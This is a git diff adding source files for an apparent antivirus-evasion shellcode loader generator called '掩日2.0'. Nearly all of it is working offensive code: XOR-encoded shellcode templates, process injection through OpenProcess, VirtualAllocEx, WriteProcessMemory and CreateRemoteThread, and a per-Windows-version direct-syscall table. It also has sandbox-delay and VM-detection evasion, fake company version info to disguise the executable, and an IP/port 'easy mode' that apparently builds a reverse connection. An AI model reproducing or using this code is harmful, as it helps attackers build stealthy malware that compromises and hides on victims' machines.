+ {
+ { ""openprocess"",0x26},
+ { ""allocatevirtualmem"", 0x18},
+ { ""writevirtualmem"", 0x3A},
+ { ""createremthread"", 0xB3},
+ { ""createsection"", 0x4A },
+ { ""mapviewofsec"", 0x28 }
+ }
+ },
+ { ""win10-1511"", new Dictionary()
+ {
+ { ""openprocess"",0x26},
+ { ""allocatevirtualmem"", 0x18},
+ { ""writevirtualmem"", 0x3A},
+ { ""createremthread"", 0xB4},
+ { ""mapviewofsec"", 0x28 }
+ }
+ },
+ { ""win10-1607"", new Dictionary()
+ {
+ { ""openprocess"",0x26},
+ { ""allocatevirtualmem"", 0x18},
+ { ""writevirtualmem"", 0x3A},
+ { ""createremthread"", 0xB6},
+ { ""createsection"", 0x4A },
+ { ""mapviewofsec"", 0x28 }
+ }
+ },
+ { ""win10-1703"", new Dictionary()
+ {
+ { ""openprocess"",0x26},
+ { ""allocatevirtualmem"", 0x18},
+ { ""writevirtualmem"", 0x3A},
+ { ""createremthread"", 0xB9},
+ { ""createsection"", 0x4A },
+ { ""mapviewofsec"", 0x28 }
+ }
+ },
+ { ""win10-1709"", new Dictionary()
+ {
+ { ""openprocess"",0x26},
+ { ""allocatevirtualmem"", 0x18},
+ { ""writevirtualmem"", 0x3A},
+ { ""createremthread"", 0xBA},
+ { ""createsection"", 0x4A },
+ { ""mapviewofsec"", 0x28 }
+ }
+ },
+ { ""win10-1803"", new Dictionary()
+ {
+ { ""openprocess"",0x26},
+ { ""allocatevirtualmem"", 0x18},
+ { ""writevirtualmem"", 0x3A},
+ { ""createremthread"", 0xBB},
+ { ""createsection"", 0x4A },
+ { ""mapviewofsec"", 0x28 }
+ }
+ },
+ { ""win10-1809"", new Dictionary()
+ {
+ { ""openprocess"",0x26},
+ { ""allocatevirtualmem"", 0x18},
+ { ""writevirtualmem"", 0x3A},
+ { ""createremthread"", 0xBC},
+ { ""createsection"", 0x4A },
+ { ""mapviewofsec"", 0x28 }
+ }
+ },
+ { ""win10-1903-9"", new Dictionary()
+ {
+ { ""openprocess"",0x26},
+ { ""allocatevirtualmem"", 0x18},
+ { ""writevirtualmem"", 0x3A},
+ { ""createremthread"", 0xBD},
+ { ""createsection"", 0x4A },
+ { ""mapviewofsec"", 0x28 }
+ }
+ },
+ { ""win8-12"", new Dictionary()
+ {
+ { ""openprocess"",0x24},
+ { ""allocatevirtualmem"", 0x16},
+ { ""writevirtualmem"", 0x38},
+ { ""createremthread"", 0xAF},
+ { ""createsection"", 0x48 },
+ { ""mapviewofsec"", 0x26 }
+ }
+ },
+ { ""win8.1-12r2"", new Dictionary()
+ {
+ { ""openprocess"",0x25},
+ { ""allocatevirtualmem"", 0x17},
+ { ""writevirtualmem"", 0x39},
+ { ""createremthread"", 0xB0},
+ { ""createsection"", 0x49 },
+ { ""mapviewofsec"", 0x27 }
+ }
+ },
+ { ""w7-08"", new Dictionary()
+ {
+ { ""openprocess"",0x23},
+ { ""allocatevirtualmem"", 0x15},
+ { ""writevirtualmem"", 0x37},
+ { ""createremthread"", 0xA5},
+ { ""createsection"", 0x47 },
+ { ""mapviewofsec"", 0x25 }
+ }
+ }
+ };
+
+ public static nativeStructs.NTSTATUS ZwOpenProcess(ref IntPtr hProcess, nativeStructs.ProcessAccessFlags processAccess, nativeStructs.OBJECT_ATTRIBUTES objAttribute, ref nativeStructs.CLIENT_ID clientid, string os)
+ {
+ byte[] syscall = syscallSkeleton;
+ syscall[4] = sysDic[os][""openprocess""];
+
+ unsafe
+ {
+ fixed (byte* ptr = syscall)
+ {
+
+ IntPtr memoryAddress = (IntPtr)ptr;
+ uint oldprotect;
+
+ if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
+ (UIntPtr)syscall.Length, 0x40, out oldprotect))
+ {
+ throw new Win32Exception();
+ }
+
+ Delegates.ZwOpenProcess myAssemblyFunction = (Delegates.ZwOpenProcess)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwOpenProcess));
+
+ return (nativeStructs.NTSTATUS)myAssemblyFunction(out hProcess, processAccess, objAttribute, ref clientid);
+ }
+ }
+ }
+
+ public static nativeStructs.NTSTATUS NtCreateThreadEx(out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr lpStartAddress, IntPtr lpParameter, int createSuspended, uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, IntPtr lpBytesBuffer, string os)
+ {
+ byte[] syscall = syscallSkeleton;
+ syscall[4] = sysDic[os][""createremthread""];
+
+ unsafe
+ {
+ fixed (byte* ptr = syscall)
+ {
+
+ IntPtr memoryAddress = (IntPtr)ptr;
+ uint oldprotect;
+
+ if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
+ (UIntPtr)syscall.Length, 0x40, out oldprotect))
+ {
+ throw new Win32Exception();
+ }
+ ////
+ ////
+
+
+ Delegates.NtCreateThreadEx myAssemblyFunction = (Delegates.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateThreadEx));
+
+ return (nativeStructs.NTSTATUS)myAssemblyFunction(out threadHandle, desiredAccess, objectAttributes, processHandle, lpStartAddress, lpParameter, createSuspended, stackZeroBits, sizeOfStackCommit, sizeOfStackReserve, lpBytesBuffer);
+ }
+ }
+ }
+
+ public static nativeStructs.NTSTATUS ZwWriteVirtualMemory(IntPtr hProcess, ref IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten, string os)
+ {
+ byte[] syscall = syscallSkeleton;
+ syscall[4] = sysDic[os][""writevirtualmem""];
+
+ unsafe
+ {
+ fixed (byte* ptr = syscall)
+ {
+
+ IntPtr memoryAddress = (IntPtr)ptr;
+ uint oldprotect;
+
+ if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
+ (UIntPtr)syscall.Length, 0x40, out oldprotect))
+ {
+ throw new Win32Exception();
+ }
+
+ Delegates.ZwWriteVirtualMemory myAssemblyFunction = (Delegates.ZwWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwWriteVirtualMemory));
+
+ return (nativeStructs.NTSTATUS)myAssemblyFunction(hProcess, lpBaseAddress, lpBuffer, nSize, ref lpNumberOfBytesWritten);
+ }
+ }
+ }
+
+
+ public static nativeStructs.NTSTATUS NtAllocateVirtualMemory(IntPtr hProcess, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect, string os)
+ {
+ byte[] syscall = syscallSkeleton;
+ syscall[4] = sysDic[os][""allocatevirtualmem""];
+
+ unsafe
+ {
+ fixed (byte* ptr = syscall)
+ {
+
+ IntPtr memoryAddress = (IntPtr)ptr;
+ uint oldprotect;
+
+ if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
+ (UIntPtr)syscall.Length, 0x40, out oldprotect))
+ {
+ throw new Win32Exception();
+ }
+
+ Delegates.NtAllocateVirtualMemory myAssemblyFunction = (Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtAllocateVirtualMemory));
+
+ return (nativeStructs.NTSTATUS)myAssemblyFunction(hProcess, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect);
+ }
+ }
+ }
+
+ public static nativeStructs.NTSTATUS NtCreateSection(ref IntPtr section, uint desiredAccess, IntPtr pAttrs, ref nativeStructs.LARGE_INTEGER pMaxSize, uint pageProt, uint allocationAttribs, IntPtr hFile, string os)
+ {
+ byte[] syscall = syscallSkeleton;
+ syscall[4] = sysDic[os][""createsection""];
+
+ unsafe
+ {
+ fixed (byte* ptr = syscall)
+ {
+
+ IntPtr memoryAddress = (IntPtr)ptr;
+ uint oldprotect;
+
+ if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
+ (UIntPtr)syscall.Length, 0x40, out oldprotect))
+ {
+ throw new Win32Exception();
+ }
+
+ Delegates.NtCreateSection myAssemblyFunction = (Delegates.NtCreateSection)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateSection));
+
+ return (nativeStructs.NTSTATUS)myAssemblyFunction(ref section, desiredAccess, pAttrs, ref pMaxSize, pageProt, allocationAttribs, hFile);
+ }
+ }
+ }
+
+ public static nativeStructs.NTSTATUS NtMapViewOfSection(IntPtr section, IntPtr process, ref IntPtr baseAddr, IntPtr zeroBits, IntPtr commitSize, IntPtr stuff, ref IntPtr viewSize, int inheritDispo, uint alloctype, uint prot, string os)
+ {
+ byte[] syscall = syscallSkeleton;
+ syscall[4] = sysDic[os][""mapviewofsec""];
+
+ unsafe
+ {
+ fixed (byte* ptr = syscall)
+ {
+
+ IntPtr memoryAddress = (IntPtr)ptr;
+ uint oldprotect;
+
+ if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
+ (UIntPtr)syscall.Length, 0x40, out oldprotect))
+ {
+ throw new Win32Exception();
+ }
+
+ Delegates.NtMapViewOfSection myAssemblyFunction = (Delegates.NtMapViewOfSection)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtMapViewOfSection));
+
+ return (nativeStructs.NTSTATUS)myAssemblyFunction(section, process, ref baseAddr, zeroBits, commitSize, stuff, ref viewSize, inheritDispo, alloctype, prot);
+ }
+ }
+ }
+
+ public static nativeStructs.NTSTATUS RtlGetVersion(IntPtr hProcess, ref IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten, string os)
+ {
+ byte[] syscall = syscallSkeleton;
+ syscall[4] = sysDic[os][""writevirtualmem""];
+
+ unsafe
+ {
+ fixed (byte* ptr = syscall)
+ {
+
+ IntPtr memoryAddress = (IntPtr)ptr;
+ uint oldprotect;
+
+ if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress,
+ (UIntPtr)syscall.Length, 0x40, out oldprotect))
+ {
+ throw new Win32Exception();
+ }
+
+ Delegates.ZwWriteVirtualMemory myAssemblyFunction = (Delegates.ZwWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwWriteVirtualMemory));
+
+ return (nativeStructs.NTSTATUS)myAssemblyFunction(hProcess, lpBaseAddress, lpBuffer, nSize, ref lpNumberOfBytesWritten);
+ }
+ }
+ }
+
+
+ public struct Delegates
+ {
+ [SuppressUnmanagedCodeSecurity]
+ [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+ public delegate int ZwOpenProcess(out IntPtr hProcess, nativeStructs.ProcessAccessFlags processAccess, nativeStructs.OBJECT_ATTRIBUTES objAttribute, ref nativeStructs.CLIENT_ID clientid);
+
+ [SuppressUnmanagedCodeSecurity]
+ [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+ public delegate int ZwWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten);
+
+ [SuppressUnmanagedCodeSecurity]
+ [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+ public delegate int NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect);
+
+ [SuppressUnmanagedCodeSecurity]
+ [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+ public delegate int NtCreateThreadEx(out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr lpStartAddress, IntPtr lpParameter, int createSuspended, uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, IntPtr lpBytesBuffer);
+
+ [SuppressUnmanagedCodeSecurity]
+ [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+ public delegate bool RtlGetVersion(ref nativeStructs.OSVERSIONINFOEXW lpVersionInformation);
+
+ [SuppressUnmanagedCodeSecurity]
+ [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+ public delegate int NtCreateSection(ref IntPtr section, uint desiredAccess, IntPtr pAttrs, ref nativeStructs.LARGE_INTEGER pMaxSize, uint pageProt, uint allocationAttribs, IntPtr hFile);
+
+ [SuppressUnmanagedCodeSecurity]
+ [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
+ public delegate int NtMapViewOfSection(IntPtr section, IntPtr process, ref IntPtr baseAddr, IntPtr zeroBits, IntPtr commitSize, IntPtr stuff, ref IntPtr viewSize, int inheritDispo, uint alloctype, uint prot);
+ }
+ }
+}";
+
+ //简单虚拟机检测
+ public static string vm_detect = @"if (System.IO.Directory.Exists(""C:\\Program Files\\VMware\\VMware Tools\\""))
+ {
+ System.Environment.Exit(0);
+ }
+ if (System.IO.Directory.Exists(""C:\\Program Files\\Oracle\\VirtualBox Guest Additions\\""))
+ {
+ System.Environment.Exit(0);
+ }";
+
+ //大循环延时 180秒
+ public static string super_delay = @"int j = 0;
+ for (int i = 0; i < 500000000; i++)
+ {
+ for (int n = 0; n < 150; n++)
+ {
+ j += 2;
+ }
+ }
+ if (j == 0)
+ {
+ System.Environment.Exit(0);
+ }";
+
+ //开机自启
+ public static string start_on_boot = @"";
+
+ //注册服务
+ public static string reg_service = @"";
+ }
+}
diff --git "a/\346\216\251\346\227\2452.0/C_Template.cs" "b/\346\216\251\346\227\2452.0/C_Template.cs"
new file mode 100644
index 0000000..17f0c82
--- /dev/null
+++ "b/\346\216\251\346\227\2452.0/C_Template.cs"
@@ -0,0 +1,170 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace 掩日2._0
+{
+ class C_Template
+ {
+ public static string Base_Code = @"#include
+#include
+#include
+#include
+
+unsigned char code[] = ""{{shellcode}}"";
+void main()
+{
+ clock_t start, finish;
+ double Total_time;
+ start = clock();
+ Sleep(800);
+ finish = clock();
+ Total_time = (double)(finish - start);
+ if(Total_time < 800)
+ {
+ return;
+ }
+ //{{sanbox_vm_detect}}
+ //{{persistence}}
+
+ int j = 234;
+ int add = 12;
+
+ for (int i = 0; i < sizeof(code); i++)
+ {
+ code[i] = code[i] ^ 123 ^ j;
+ j += add;
+ }
+
+ //{{execute}}
+
+}";
+
+ //执行方式:VirtualAlloc
+ public static string VirtualALloc = @"char* p = VirtualAlloc(NULL, sizeof(code), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
+ memcpy(p, code, sizeof(code));
+ (*(void(*)())p)();";
+
+ //执行方式:GetProcAddress
+ public static string GetProcessAddress = @"char* testString3 = ((char[]){'V','i','r','t','u','a','l','A','l','l','o','c','\0'});
+ char* testString4 = ((char[]){'k','e','r','n','e','l','3','2','\0'});
+FARPROC Allocate = GetProcAddress(GetModuleHandle(testString4), testString3);
+ char* BUFFER = (char*)Allocate(NULL, sizeof(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+ memcpy(BUFFER, code, sizeof(code));
+ (*(void(*)())BUFFER)();";
+
+ //动态加载,TODO
+ public static string Dynamic = "";
+
+ //注入到现有进程,需要提供 pid
+ public static string CreateRemoteThread = @"DWORD pid = {{pid}};
+ char* Xernel = ((char[]){'k','e','r','n','e','l','3','2','\0'});
+ typedef LPVOID (WINAPI* OpenProcessC)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
+ OpenProcessC op = (OpenProcessC)GetProcAddress(GetModuleHandle(Xernel), ""OpenProcess"");
+ HANDLE processHandle = (char*)(*op)(PROCESS_ALL_ACCESS, FALSE, pid);
+ typedef LPVOID(WINAPI* VirtualAllocExC)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
+ VirtualAllocExC vae = (VirtualAllocExC)GetProcAddress(GetModuleHandle(Xernel), ""VirtualAllocEx"");
+ PVOID remoteBuffer = (char*)(*vae)(processHandle, NULL, sizeof code, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
+ WriteProcessMemory(processHandle, remoteBuffer, code, sizeof code, NULL);
+ typedef LPVOID(WINAPI* CreateRemoteThreadC)(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
+ CreateRemoteThreadC crt = (CreateRemoteThreadC)GetProcAddress(GetModuleHandle(Xernel), ""CreateRemoteThread"");
+ HANDLE remoteThread = (char*)(*crt)(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
+ WaitForSingleObject(remoteThread, -1);
+ CloseHandle(processHandle);";
+
+ //注入到新进程,需要提供进程名
+ public static string CreateNew = @"char* Xernel = ((char[]){'k','e','r','n','e','l','3','2','\0'});
+ STARTUPINFOA si;
+ PROCESS_INFORMATION pi;
+ si.cb = sizeof(STARTUPINFO);
+ si.lpReserved = NULL;
+ si.lpDesktop = NULL;
+ si.lpTitle = NULL;
+ si.dwFlags = STARTF_USESHOWWINDOW;
+ si.wShowWindow = SW_HIDE;
+ si.cbReserved2 = 0;
+ si.lpReserved2 = NULL;
+ CreateProcessA(0, ""{{processname}}"", 0, 0, 0, 0, 0, 0, &si, &pi);
+ DWORD pid = pi.dwProcessId;
+
+ typedef LPVOID(WINAPI* OpenProcessC)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
+ OpenProcessC op = (OpenProcessC)GetProcAddress(GetModuleHandle(Xernel), ""OpenProcess"");
+ HANDLE processHandle = (char*)(*op)(PROCESS_ALL_ACCESS, FALSE, pid);
+
+ typedef LPVOID(WINAPI* VirtualAllocExC)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
+ VirtualAllocExC vae = (VirtualAllocExC)GetProcAddress(GetModuleHandle(Xernel), ""VirtualAllocEx"");
+ PVOID remoteBuffer = (char*)(*vae)(processHandle, NULL, sizeof code, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
+
+ WriteProcessMemory(processHandle, remoteBuffer, code, sizeof code, NULL);
+
+ typedef LPVOID(WINAPI* CreateRemoteThreadC)(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
+ CreateRemoteThreadC crt = (CreateRemoteThreadC)GetProcAddress(GetModuleHandle(Xernel), ""CreateRemoteThread"");
+ HANDLE remoteThread = (char*)(*crt)(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
+
+ WaitForSingleObject(remoteThread, -1);
+ CloseHandle(processHandle);";
+
+ //延时绕沙箱,这个测试延时约180+秒
+ public static string Super_Delay = @"for(int i = 1; i<50000000;i++)
+ {
+ for(int j=1;j<1500;j++)
+ {
+ int a=1;
+ a += 88;
+ }
+ a += 1;
+ }
+ if(a != 50000000)
+ {
+ return;
+ }";
+
+ //检查注册表和文件绕虚拟机
+ public static string Vm_Detect = @"HKEY hkey;
+ if (RegOpenKey(HKEY_CLASSES_ROOT, ""\\Applications\\VMwareHostOpen.exe"", &hkey) == ERROR_SUCCESS)
+ {
+ return;
+ }
+ if (access(""C:\\Program Files\\VMware\\VMware Tools\\"", 0) == 0)
+ {
+ return;
+ }
+ if (access(""C:\\Program Files\\Oracle\\VirtualBox Guest Additions\\"") == 0)
+ {
+ return;
+ }
+ if (RegOpenKey(HKEY_LOCAL_MACHINE, ""SOFTWARE\\Oracle\\VirtualBox Guest Additions"", &hkey) == ERROR_SUCCESS)
+ {
+ return;
+ }";
+
+ //编译信息
+ public static string compile_info = @"1 VERSIONINFO
+FILEVERSION 1,0,0,0
+PRODUCTVERSION 1,0,0,0
+FILEOS 0x40004
+FILETYPE 0x1
+{
+BLOCK ""StringFileInfo""
+{
+ BLOCK ""040904B0""
+ {
+ VALUE ""CompanyName"", ""{{companyname}}""
+ VALUE ""FileDescription"", ""An Excellent Software Developed By {{companyname}} To Solove Your Problem.""
+ VALUE ""FileVersion"", ""1.0.0.0""
+ VALUE ""LegalCopyright"", ""Copyright (C) 2020 {{companyname}}. All rights reserved.""
+ VALUE ""ProductName"", ""{{companyname}} Helper""
+ VALUE ""ProductVersion"", ""1.0.0.0""
+ }
+}
+
+BLOCK ""VarFileInfo""
+{
+ VALUE ""Translation"", 0X0409, 0X04B0
+}
+}
+
+";
+ }
+}
diff --git "a/\346\216\251\346\227\2452.0/Common.cs" "b/\346\216\251\346\227\2452.0/Common.cs"
new file mode 100644
index 0000000..ac6a844
--- /dev/null
+++ "b/\346\216\251\346\227\2452.0/Common.cs"
@@ -0,0 +1,55 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace 掩日2._0
+{
+ class Common
+ {
+ //生成随机字符串
+ public static string GetRandomString(int length, bool useNum, bool useLow, bool useUpp, bool useSpe, string custom)
+ {
+ byte[] b = new byte[4];
+ new System.Security.Cryptography.RNGCryptoServiceProvider().GetBytes(b);
+ Random r = new Random(BitConverter.ToInt32(b, 0));
+ string s = null, str = custom;
+ if (useNum == true) { str += "0123456789"; }
+ if (useLow == true) { str += "abcdefghijklmnopqrstuvwxyz"; }
+ if (useUpp == true) { str += "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; }
+ if (useSpe == true) { str += "!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~"; }
+ for (int i = 0; i < length; i++)
+ {
+ s += str.Substring(r.Next(0, str.Length - 1), 1);
+ }
+ return s;
+ }
+
+ //执行系统命令
+ public static string Execute_Cmd(string cmd)
+ {
+ string output = "";
+ System.Diagnostics.Process p = new System.Diagnostics.Process();
+ p.StartInfo.FileName = "cmd.exe";
+ p.StartInfo.UseShellExecute = false; //是否使用操作系统shell启动
+ p.StartInfo.RedirectStandardInput = true;//接受来自调用程序的输入信息
+ p.StartInfo.RedirectStandardOutput = true;//由调用程序获取输出信息
+ p.StartInfo.RedirectStandardError = true;//重定向标准错误输出
+ p.StartInfo.CreateNoWindow = true;//不显示程序窗口
+ p.Start();//启动程序
+
+ //向cmd窗口发送输入信息
+ p.StandardInput.WriteLine(cmd + "&exit");
+
+ p.StandardInput.AutoFlush = true;
+
+ //获取cmd窗口的输出信息
+ output = p.StandardOutput.ReadToEnd();
+
+ p.WaitForExit();//等待程序执行完退出进程
+ p.Close();
+ return output;
+ }
+
+ }
+}
diff --git "a/\346\216\251\346\227\2452.0/Compiler.cs" "b/\346\216\251\346\227\2452.0/Compiler.cs"
new file mode 100644
index 0000000..0c137b3
--- /dev/null
+++ "b/\346\216\251\346\227\2452.0/Compiler.cs"
@@ -0,0 +1,47 @@
+using Microsoft.CSharp;
+using System;
+using System.CodeDom.Compiler;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+
+namespace 掩日2._0
+{
+ class Compiler
+ {
+ CSharpCodeProvider provider = new CSharpCodeProvider();
+ CompilerParameters parameters = new CompilerParameters();
+
+ public Compiler()
+ {
+ parameters.ReferencedAssemblies.Add("System.Core.dll");
+ parameters.GenerateInMemory = false;
+ parameters.GenerateExecutable = true;
+ parameters.IncludeDebugInformation = false;
+ parameters.ReferencedAssemblies.Add("mscorlib.dll");
+ parameters.ReferencedAssemblies.Add("System.dll");
+ }
+
+ public void compileToExe(String code, String filePath, String Arch)
+ {
+
+ parameters.OutputAssembly = filePath;
+ parameters.CompilerOptions = Arch;
+
+ CompilerResults results = provider.CompileAssemblyFromSource(parameters, code);
+
+ if (results.Errors.HasErrors)
+ {
+ StringBuilder sb = new StringBuilder();
+
+ foreach (CompilerError error in results.Errors)
+ {
+ sb.AppendLine(String.Format("Error ({0}): {1}", error.ErrorNumber, error.ErrorText));
+ }
+
+ throw new InvalidOperationException(sb.ToString());
+ }
+ }
+ }
+}
diff --git "a/\346\216\251\346\227\2452.0/Core.cs" "b/\346\216\251\346\227\2452.0/Core.cs"
new file mode 100644
index 0000000..3ae480e
--- /dev/null
+++ "b/\346\216\251\346\227\2452.0/Core.cs"
@@ -0,0 +1,264 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Text.RegularExpressions;
+
+namespace 掩日2._0
+{
+ class Core
+ {
+ //极简模式
+ public static bool Generate_1_IP(string arch, string ip, string port, string path)
+ {
+ string finalip = "";
+
+ foreach (char c in ip)
+ {
+ finalip += "'" + c + "',";
+ }
+ finalip += @"'\0'";
+
+ string FinalCode = T_EasyMode.GetCode().Replace("{{ip}}", finalip).Replace("{{port}}", port);
+
+ string temp_path = @"C:\Windows\Temp\YANRI_TEMP_" + Common.GetRandomString(6, true, true, true, false, "") + ".c";
+ System.IO.File.WriteAllText(temp_path, FinalCode);
+
+ //开始编译
+ string compilecmd = @"gcc " + temp_path + @" -o """ + path + @""" -mwindows -m"+ arch.Substring(0, 2) +" -lws2_32";
+
+ if (!Common.Execute_Cmd(compilecmd).Contains("error:"))
+ {
+ System.IO.File.Delete(temp_path);
+ return true;
+ }
+ else
+ {
+ System.IO.File.Delete(temp_path);
+ return false;
+ }
+ }
+
+ //处理 shellcode,并全部转换成 c# 格式
+ public static string Shellcode_Handle(string raw)
+ {
+ string result = "";
+ //去掉所有换行 → 匹配出shellcode → 去掉所有空格 → 去掉引号、分号、括号 → 转换格式
+ raw = raw.Replace("\r\n", "").Replace("\r", "").Replace("\n", "");
+
+ if (raw.Contains(@"\x"))
+ {
+ //c 类型的shellcode
+ string pattern = @"=.*$";
+ string temp = Regex.Match(raw, pattern).Value;
+ result = temp.Replace(@"""", "").Replace(" ", "").Replace("=", "").Replace(";", "");
+ }
+ else if ((raw.Contains(@",0x")) || (raw.Contains(@", 0x")))
+ {
+ //c# 类型的shellcode
+ string pattern = @"{.*}";
+ string temp = Regex.Match(raw, pattern).Value;
+ result = temp.Replace("{", "").Replace(" ", "").Replace("}", "").Replace(";", "");
+ }
+ else
+ {
+ return "";
+ }
+ //转换成 c# 格式
+ if (result.Contains(@"\x"))
+ {
+ result = result.Replace(@"\x", ",0x").TrimStart(',');
+ }
+ return result;
+ }
+
+ //变异异或,需要指定返回 c 还是 c# 格式的 shellcode
+ public static string XOR_C(string format, string raw)
+ {
+ string result = "";
+ string[] shellcode_array = raw.Split(',');
+ string[] temp = new string[shellcode_array.Length];
+ int j = 234;
+ int add = 12;
+ for (int i = 0; i < shellcode_array.Length; i++)
+ {
+ temp[i] = string.Format("{0:x2}", string_to_int(shellcode_array[i]) ^ 123 ^ j);
+ temp[i] = "0x" + temp[i].Substring(temp[i].Length - 2, 2);
+ j += add;
+ }
+ result = string.Join(",", temp);
+ //转换一下格式
+ if (format == "c")
+ {
+ result = result.Replace("0x", @"\x").Replace(",", "");
+ }
+ return result;
+ }
+
+ //字符串转十进制,返回byte形式
+ public static byte string_to_int(string str)
+ {
+ string temp = str.Substring(str.Length - 2, 2);
+ int hex = int.Parse(temp, System.Globalization.NumberStyles.HexNumber);
+ return BitConverter.GetBytes(hex)[0];
+ }
+
+ //生成 c 源码并编译
+ public static bool Gen_C(string shellcode, string path, string execute, string inject, string arch, string detect)
+ {
+ string finalcode;
+ shellcode = Shellcode_Handle(shellcode);
+ shellcode = XOR_C("c", shellcode);
+
+ Random r = new Random();
+ int n = r.Next(0, Global.Company_name.Length - 1);
+ string comname = Global.Company_name[n];
+
+ string c_compile_info = C_Template.compile_info.Replace("{{companyname}}", comname);
+
+ //图标设置
+ if (Global.ICONPATH != "")
+ {
+ c_compile_info += @"IDI_ICON1 ICON ""{{path}}""";
+ c_compile_info = c_compile_info.Replace("{{path}}", Global.ICONPATH.Replace("\\", "\\\\"));
+ }
+ System.IO.File.WriteAllText("C:\\Windows\\Temp\\Yanri_res.rc", c_compile_info);
+ string res_cmd = "windres C:\\Windows\\Temp\\Yanri_res.rc C:\\Windows\\Temp\\Yanri_res.o";
+ if (arch.StartsWith("32"))
+ {
+ res_cmd += " --target=pe-i386";
+ }
+ Common.Execute_Cmd(res_cmd);
+ bool icon_set = System.IO.File.Exists("C:\\Windows\\Temp\\Yanri_res.o");
+ //System.IO.File.Delete("C:\\Windows\\Temp\\Yanri_res.rc");
+
+ //根据执行方式选择代码模板
+ if (execute == "执行4-Dynamic")
+ {
+ finalcode = C_Template.Dynamic.Replace("{{shellcode}}", shellcode);
+ }
+ else
+ {
+ finalcode = C_Template.Base_Code.Replace("{{shellcode}}", shellcode);
+ switch (execute)
+ {
+ case "执行1-VirtualAlloc":
+ finalcode = finalcode.Replace("//{{execute}}", C_Template.VirtualALloc);
+ break;
+ case "执行2-GetProcAddress":
+ finalcode = finalcode.Replace("//{{execute}}", C_Template.GetProcessAddress);
+ break;
+ case "注入现有进程":
+ finalcode = finalcode.Replace("//{{execute}}", C_Template.CreateRemoteThread);
+ finalcode = finalcode.Replace("{{pid}}", inject);
+ break;
+ case "注入新进程":
+ finalcode = finalcode.Replace("//{{execute}}", C_Template.CreateNew);
+ finalcode = finalcode.Replace("{{processname}}", inject);
+ break;
+ default:
+ return false;
+ }
+ }
+ //虚拟机及沙箱检测
+ switch (detect)
+ {
+ case "沙箱:延时约180秒":
+ finalcode = finalcode.Replace("//{{sanbox_vm_detect}}", C_Template.Super_Delay);
+ break;
+ case "虚拟机:简单反虚拟机":
+ finalcode = finalcode.Replace("//{{sanbox_vm_detect}}", C_Template.Vm_Detect);
+ break;
+ }
+
+ //保存代码到临时文件
+ string temp_path = @"C:\Windows\Temp\YANRI_TEMP_" + Common.GetRandomString(6, true, true, true, false, "") + ".c";
